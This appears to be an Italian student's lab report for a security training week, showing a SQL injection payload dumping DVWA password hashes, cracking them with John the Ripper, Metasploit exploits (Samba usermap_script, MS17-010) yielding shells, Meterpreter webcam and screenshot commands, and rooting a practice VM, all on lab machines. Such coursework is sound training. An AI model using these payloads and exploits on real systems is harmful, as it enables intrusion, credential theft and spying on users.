

BUILD WEEK 2

(15-04-2024/19-04-2024)


Gehurys Adrian Morales Rosario

Giorno 1

Attraverso il seguente script `' UNION SELECT username, password FROM users#` sono riuscito ad ottenere la password cifrata dell'utente richiesto(Gordon Brown).

Nella seguente slide vedremo che sono riuscito a craccare la password cifrata





Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Vulnerability: SQL Injection

User ID:

Submit

ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

```
(kali㉿kali)-[~]
```

```
$ cd Desktop
```

```
(kali㉿kali)-[~/Desktop]
```

```
$ nano password.lst
```

```
(kali㉿kali)-[~/Desktop]
```

```
$ john --format=crypt --wordlist=password.lst hash.txt
```

```
Warning: hash encoding string length 32, type id #0  
appears to be unsupported on this system; will not load such hashes.  
Using default input encoding: UTF-8  
No password hashes loaded (see FAQ)
```

```
(kali㉿kali)-[~/Desktop]
```

```
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

```
Using default input encoding: UTF-8  
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])  
Warning: no OpenMP support for this hash type, consider --fork=8  
Press 'q' or Ctrl-C to abort, almost any other key for status  
abc123 (gordonb)  
1g 0:00:00:00 DONE (2024-04-18 08:58) 25.00g/s 4800p/s 4800c/s 4800C/s 123456..november  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.
```

```
(kali㉿kali)-[~/Desktop]
```

```
$ --show --format=Raw-MD5
```

```
--show: command not found
```

```
(kali㉿kali)-[~/Desktop]
```

```
$ john --show --format=Raw-MD5 hash.txt
```

```
gordonb:abc123
```

```
File Actions Edit View Help
[3]:234
[4]:34
[5]:45334
[6]:43
[7]:53
[8]:34
[9]:34
[10]:34
[11]:43
Il vettore inserito e':
[1]: 24
[2]: 34
[3]: 234
[4]: 34
[5]: 45334
[6]: 43
[7]: 53
[8]: 34
[9]: 34
[10]: 34
Il vettore ordinato e':
[1]:24
[2]:34
[3]:34
[4]:34
[5]:34
[6]:34
[7]:43
[8]:43
[9]:53
[10]:234
[11]:45334
```

Giorno 3

Nella giornata n.3 ho intuito più o meno a cosa potesse servire il codice dato. L'ho lanciato e successivamente ho modificato lo script in modo da ottenere un errore e ce l'ho fatta! Come possiamo vedere nell'immagine affianco nonostante io abbia inserito 11 valori nella voce "hai inserito...." Me ne restituisce solo 10, ma nella voce finale mi dà l'undicesimo valore

GIORNO 4

- Come richiesto dalla traccia la prima cosa che ho fatto è stata una scansione con nessus sulla macchina metasploitable, per individuare la vulnerabilità collegata alla porta 445.
- Successivamente ho lanciato il programma metasploit per sfruttare tale vulnerabilità. Come possiamo vedere dalle immagini nelle seguenti slide, l'attacco è riuscito con successo.

HIGH

Samba Badlock Vulnerability

< >

Plugin Details

Severity:	High
ID:	90509
Version:	1.8
Type:	remote
Family:	General
Published:	April 1
Modified:	Novem

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

See Also

<http://badlock.org>

<https://www.samba.org/samba/security/CVE-2016-2118.html>

VPR Key Drivers

Threat Recency: No reco
Threat Intensity: Very Lo
Exploit Code Maturity: U
Age of Vuln: 730 days +
Product Coverage: Medi
CVSSV3 Impact Score: 5.
Threat Sources: No reco

Output

```
Nessus detected that the Samba Badlock patch has not been applied.
```

To see debug logs, please visit individual host

Port ▲

Hosts

445 / tcp / cifs

192.168.50.101



Risk Information

Vulnerability Priority Rat

Risk Factor: Medium

CVSS v3.0 Base Score: 7

File Actions Edit View Help

View the full module info with the `info`, or `info -d` command.

`msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.50.101`

`rhosts => 192.168.50.101`

`msf6 exploit(multi/samba/usermap_script) > set rport 445`

`rport => 445`

`msf6 exploit(multi/samba/usermap_script) > exploit`

`[*] Started reverse TCP handler on 192.168.50.100:4444`

`[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.50.101:45620) at 2024-04-15 10:54:28 +0200`

`ifconfig`

`eth0`

Link encap:Ethernet HWaddr 08:00:27:a2:49:b1

inet addr:192.168.50.101 Bcast:192.168.50.255 Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:fea2:49b1/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:24512 errors:0 dropped:0 overruns:0 frame:0

TX packets:18238 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:2615299 (2.4 MB) TX bytes:3007248 (2.8 MB)

Base address:0xd010 Memory:f0200000-f0220000

`lo`

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:1216 errors:0 dropped:0 overruns:0 frame:0

TX packets:1216 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:226925 (221.2 KB) TX bytes:226925 (221.2 KB)

GIORNO 5

Come richiesto, la prima cosa che ho fatto è stata configurare gli indirizzi IP delle macchine Kali e Windows in questo caso io ho scelto windows 7. Successivamente ho effettuato una scansione con nessus. Poi mi sono spostato su metasploit per sfruttare la vulnerabilità MS17-010. Una volta ottenuta la sessione meterpreter ho recuperato le seguenti informazioni: (vedere slide successiva)

- 1) se la macchina target è una macchina virtuale oppure una macchina fisica con il comando "checkvm"
- 2) le impostazioni di rete della macchine target
- 3) se la macchina target ha a disposizione delle webcam attive
- 4) ho recuperato uno screenshot del desktop



18 Vulnerabilities

Host Details

KB: [Download](#)

Vulnerabilities



```
(kali@kali)-[~]
```

```
$ ip a
```

```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 08:00:27:b7:02:d0 brd ff:ff:ff:ff:ff:ff
   inet 192.168.198.100/24 brd 192.168.198.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
   inet6 fe80::fdf5:998f:6083:73b/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

```
(kali@kali)-[~]
```

```
$
```

```

Prompt dei comandi
Suffisso DNS specifico per connessione:
Indirizzo IPv6 locale rispetto al collegamento . : fe80::61e6:ac66:4dd8:a583%
11
Indirizzo IPv4. . . . . : 192.168.198.200
Subnet mask . . . . . : 255.255.255.0
Gateway predefinito . . . . . : 192.168.198.2

Scheda Tunnel isatap.<87D8F74A-622D-4D3D-A796-4EC50A8EDDE1>:

    Stato supporto. . . . . : Supporto disconnesso
    Suffisso DNS specifico per connessione:

C:\Users\User>ping 192.168.198.100

Esecuzione di Ping 192.168.198.100 con 32 byte di dati:
Risposta da 192.168.198.100: byte=32 durata=2ms TTL=64
Risposta da 192.168.198.100: byte=32 durata<1ms TTL=64
Risposta da 192.168.198.100: byte=32 durata=2ms TTL=64
Risposta da 192.168.198.100: byte=32 durata<1ms TTL=64

Statistiche Ping per 192.168.198.100:
    Pacchetti: Trasmessi = 4, Ricevuti = 4,
    Persi = 0 (0% persi),
    Tempo approssimativo percorsi andata/ritorno in millisecondi:
        Minimo = 0ms, Massimo = 2ms, Medio = 1ms

C:\Users\User>clear
"clear" non è riconosciuto come comando interno o esterno,
un programma eseguibile o un file batch.

C:\Users\User>ipconfig

Configurazione IP di Windows

Scheda Ethernet Connessione alla rete locale (LAN):

    Suffisso DNS specifico per connessione:
    Indirizzo IPv6 locale rispetto al collegamento . : fe80::61e6:ac66:4dd8:a583%
11
    Indirizzo IPv4. . . . . : 192.168.198.200
    Subnet mask . . . . . : 255.255.255.0
    Gateway predefinito . . . . . : 192.168.198.2

Scheda Tunnel isatap.<87D8F74A-622D-4D3D-A796-4EC50A8EDDE1>:

    Stato supporto. . . . . : Supporto disconnesso
    Suffisso DNS specifico per connessione:

C:\Users\User>
```

```
meterpreter > ifconfig
```

Interface 1

```
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

Interface 11

```
Name       : Scheda desktop Intel(R) PRO/1000 MT
Hardware MAC : 08:00:27:d7:bb:a2
MTU        : 1500
IPv4 Address : 192.168.198.200
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::61e6:ac66:4dd8:a583
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Interface 12

```
Name       : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU        : 1280
IPv6 Address : fe80::5efe:c0a8:c6c8
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

```
meterpreter > webcam_list
```

```
[*] No webcams were found
```

```
meterpreter > 
```

**Come possiamo
vedere sono
riuscito a
recuperare la
configurazione di
rete e ho visto
che non ci sono
webcam attive**

Bonus 1

Sono riuscito a bucare la macchina data con successo diventando anche utente root. Nelle seguenti slide vedremo com'è andata.

network	Enable networking
root	Drop to root shell prompt
system-summary	System summary

<Ok>

```
root@bsides2018:~# whoami
root
root@bsides2018:~# ifconfig
lo          Link encap:Local Loopback
            inet addr:127.0.0.1  Mask:255.0.0.0
            inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING  MTU:65536  Metric:1
            RX packets:0 errors:0 dropped:0 overruns:0 frame:0
            TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@bsides2018:~# _
```


File Actions Edit View Help

?Invalid command.

ftp> cat 31 Mar 03 2018 users.txt.bk

?Invalid command.

ftp> back

?Invalid command.

ftp> cat 2018

?Invalid command.

ftp> cat users.txt.bk

?Invalid command.

ftp> get users.txt.bk

local: users.txt.bk remote: users.txt.bk

229 Entering Extended Passive Mode (|||37094|).

150 Opening BINARY mode data connection for users.txt.bk (31 bytes).

100% |*****| 31 0.23 KiB/s 00:00 ETA

226 Transfer complete.

31 bytes received in 00:00 (0.15 KiB/s)

ftp> ls

229 Entering Extended Passive Mode (|||47655|).

150 Here comes the directory listing.

-rw-r--r-- 1 0 0 31 Mar 03 2018 users.txt.bk

226 Directory send OK.

ftp> exit

221 Goodbye.

(root@kali)~[/home/kali]

cat users.txt.bk

abatchy

john

mai

anne

doomguy

(root@kali)~[/home/kali]

#

GRAZIE PER L'ATTENZIONE